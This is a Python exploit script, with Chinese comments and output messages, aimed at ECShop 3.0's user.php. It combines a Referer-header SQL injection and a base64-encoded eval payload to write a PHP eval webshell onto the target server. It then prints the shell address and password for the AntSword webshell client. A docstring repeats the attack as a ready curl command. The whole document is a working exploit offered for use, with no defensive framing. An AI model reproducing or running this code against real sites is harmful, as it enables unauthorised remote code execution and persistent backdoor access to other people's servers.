1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import base64 import requests import argparse """ exp curl: curl http://www.o.com/user.php \ -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \ -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a' """ class MakeExp: def __init__(self, url, name, passwd): ''' author: sss :param url: 目标域名或者ip :param name: 连接的账号名称 :param passwd: 连接密码 ''' self.headers = { "Referer": "45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:\"num\";s:207:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"' union/*\";s:4:\"name\";s:3:\"ads\";}45ea207d7a2b68c49582d2d22adf953a" } self.url = f'{url}/user.php' self.name = name self.passwd = passwd def run(self): text=f"file_put_contents('{self.name}.php','<?php eval($_REQUEST[{self.passwd}]);');" text_bytes = text.encode('utf-8') encoded_bytes = base64.b64encode(text_bytes) encoded_str = encoded_bytes.decode('utf-8').strip('=') try: data = { "action": "login", "vulnspy": f"eval/**/(base64_decode({encoded_str}));exit;" } response = requests.post(self.url, headers=self.headers, data=data) if "{$" in response.text: print('###########################################################') print("恭喜大佬,exp注入成功!!!\n响应:") print(response.text) print('###########################################################') print(f'蚁剑里输入:{self.url.split("/user.php")[0]}/{self.name}.php\n密码:{self.passwd}\n开干了兄弟们~PHP是世界上最好的语言') print('###########################################################') print('蚁剑下载地址:https://github.com/AntSwordProject/antSword') print('蚁剑加载器下载地址:https://github.com/AntSwordProject/AntSword-Loader') print('###########################################################') except Exception as e: print(e) def main(): parser = argparse.ArgumentParser(description="Ecshop 3.0版本 ,生成exp脚本") parser.add_argument('-u', '--url', type=str, required=True, help='目标 URL或者ip ,ep:http://ip') parser.add_argument('-n', '--name', type=str, required=True, help='连接账号名') parser.add_argument('-p', '--passwd', type=str, required=True, help='连接密码') args = parser.parse_args() exp = MakeExp(args.url, args.name, args.passwd) exp.run() if __name__ == '__main__': main()
|